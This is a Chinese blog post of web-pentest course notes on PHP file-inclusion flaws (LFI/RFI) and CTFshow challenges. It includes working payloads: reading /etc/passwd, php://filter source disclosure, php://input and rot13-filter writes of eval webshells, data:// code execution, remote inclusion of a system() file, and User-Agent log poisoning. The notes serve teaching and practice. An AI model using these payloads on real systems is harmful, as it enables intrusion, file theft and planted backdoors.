首页 > 编程语言 >DAY50WEB 攻防-PHP 应用&文件包含&LFI&RFI&伪协议编码算法&无文件利用&黑白盒

DAY50WEB 攻防-PHP 应用&文件包含&LFI&RFI&伪协议编码算法&无文件利用&黑白盒

时间:2024-10-15 18:22:17浏览次数:3  
标签:文件 DAY50WEB 包含 base64 LFI filter 利用 php

知识点:

1、文件包含-原理&分类&危害-LFI&RFI

2、文件包含-利用-黑白盒&无文件&伪协议

文件包含-原理&分类&利用&修复

原理:程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无须再次编写,这种调用文件的过程一般被称为文件包含。在包含文件的过程中,如果文件能进行控制,则存储文件包含漏洞。

<?php include "xx.xx";?> 这种是包含指定页面,不存在文件包含漏洞

 <?php include $_GET[x];?> 这种通过动态变量的传参才存在文件包含漏洞

分类:

  1. 本地包含-Local File Include-LFI
  2. 远程包含-Remote File Include-RFI

远程包含-Remote File Include-RFI(较少)
x.php?x=http://xxxxx/x.xx (要保证php.ini中allow_url_fopen和allow_url_include要为On)

白盒审计-白盒发现:

可通过应用功能追踪代码定位审计

可通过脚本特定函数搜索定位审计

可通过伪协议玩法绕过相关修复等

PHP:include、require、include_once、require_once等,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行

require函数出现错误的时候,会直接报错并退出程序的执行

Java:java.io.File、java.io.FileReader等

ASP.NET:System.IO.FileStream、System.IO.StreamReader等

黑盒发现:主要观察参数传递的数据和文件名是否对应

URL中有path、dir、file、pag、page、archive、p、eng、语言文件等相关字眼

利用(无文件就是指目标没有上传点,只能包含服务器已经存在的文件)

本地利用思路:

配合文件上传(目标有上传点,自己上传一个恶意代码的文件)

无文件包含日志

无文件包含SESSION

无文件支持伪协议利用

参考:https://blog.csdn.net/unexpectedthing/article/details/121276653

文件读取

方式一:file:///etc/passwd

方式二:php://filter/read=convert.base64-encode/resource=phpinfo.php

文件写入

方式一:
php://filter/write=convert.base64-encode/resource=phpinfo.php  //这个需要代码里有两个参数才行

方式二:
php://input 
POST:<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

代码执行

方式一:
php://input 
POST:<?php phpinfo();?>

方式二:
data://text/plain,<?php phpinfo();?>

方式三:
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

远程利用思路

直接搭建一个可访问的远程URL包含文件(不能是脚本文件,其他后缀随意,可包含一句话getshell)

黑盒利用-VULWEB

Home of Acunetix Art

白盒利用-CTFSHOW-伪协议玩法

ctf.show

78-php&http协议

79-data&http协议

方式三:
payload: ?file=http://www.xiaodi8.com/1.txt 
1.txt:<?php system('tac flag.php');?>

80-81-日志包含

1、利用其他协议,如file,zlib等
2、利用日志记录UA特性包含执行

故利用日志记录UA信息,UA带入后门代码或者system代码,包含:/var/log/nginx/access.log

87-php://filter/write&加密编码

2、利用凯撒13(类似base64的加密方式):
url编码2次:php://filter/write=string.rot13/resource=2.php
content=<?cuc riny($_CBFG[1]);?>

88-data&base64协议

过滤PHP,各种符号,php代码编码写出无符号base64值

117-php://filter/write&新的算法

<?php

$result = iconv("UCS-2LE","UCS-2BE", '<?php;?>');

echo "经过一次反转:".$result."\n";

echo "经过第二次反转:".iconv("UCS-2LE","UCS-2BE", $result);

?>

标签:文件,DAY50WEB,包含,base64,LFI,filter,利用,php
From: https://blog.csdn.net/m0_74402888/article/details/142961240

相关文章

  • 【CTF Web】Pikachu SSRF(curl) Writeup(SSRF+读取文件+探测端口)
    SSRF(Server-SideRequestForgery:服务器端请求伪造)其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据数据流:攻击者-----......
  • 磁盘管理与文件系统
    磁盘管理与文件系统磁盘组成与分区磁盘的组成圆形的磁盘的圆盘机械手臂:负责读写圆盘上的数据主轴马达:转动磁盘,让机械手臂完成它的工作磁盘的圆盘组成扇区:最小物理存储单位,大小一般为512byte到4k不等分区表:分区表有两种,一种是限制较多的MBR分区表,其组成为MBR(Master......
  • 使用批处理对包含指定字符的文件进行批量重命名
    点击查看代码@echooffchcp65001rem使用批处理将文件夹下所有txt文件有11的字符重命名为22setlocalenabledelayedexpansion::遍历当前目录下的所有文件for%%Ain(*.txt)do(set"filename=%%~nxA"set"newfilename=!filename:11=22!"if"!filena......
  • 【Linux】基础IO(文件系统)
     ......
  • 7个超实用的文件找回方法!赶紧收藏!
    文件,是我们既熟悉却又容易忽视的存在。平日里,它似乎并不起眼,然而一旦需要它却发现被误删除或者莫名丢失时,那种感觉仿佛天都要塌了。倘若你正在遭遇文件丢失的困境,那么接下来的内容务必仔细阅读。我将为大家分享七种文件找回的超实用方法,用过的人无不称赞。方法一:从文件历史......
  • Dirmap:一款高级Web目录文件扫描工具
    需求分析何为一个优秀的web目录扫描工具?经过大量调研,总结一个优秀的web目录扫描工具至少具备以下功能:并发引擎能使用字典能纯爆破能爬取页面动态生成字典能fuzz扫描自定义请求自定义响应结果处理...功能特点你爱的样子,我都有,小鸽鸽了解下我吧:支持n个target*n个p......
  • windows 文件名批量改小写
    新建批处理FileName.bat文件,内容如下:REM功能:将所在目录下所有的子文件夹和文件名全部改为小写字母REM用法:将本批处理文件复制到要改名的目录下直接运行即可pauseFOR/R%%AIN(.)DOcd%%A&&(FOR/F%%BIN('dir/b/l')DOrename%%B%%B)echo重命名结束pause—......
  • vue + minio上传文件服务器
    1、安装依赖npminstallminio-jsnpminstallstream2、vue组件中引入import{Minio}from"minio-js";3、初始化minio插件initMinio(){this.minioClient=newMinio.Client({endPoint:'xxx.xxx.x.xx',//MinIO服务器地址port:59000,//端口号......
  • 微信小程序-文件上传功能
    WXML文件:<!--pages/picture/picture.wxml--><text>pages/picture/picture.wxml</text><buttonbindtap="ChooseImageFile">选择图片(以File形式存储在39)</button>JS文件://39File形式上传ChooseImageFile(){wx.chooseImage({......
  • 100M的网络,传输1T文件需要多久?
    这个问题涉及到两套单位换算标准。一、传输时间计算要计算在100Mbps(兆比特每秒)的网络上传输1TB(太字节)的文件需要多长时间,我们需要先统一单位,并进行以下步骤:确定文件大小(以比特为单位):1TB=1024GB1GB=1024MB1MB=1024KB1KB=1024字节所以,1TB=1024^4字......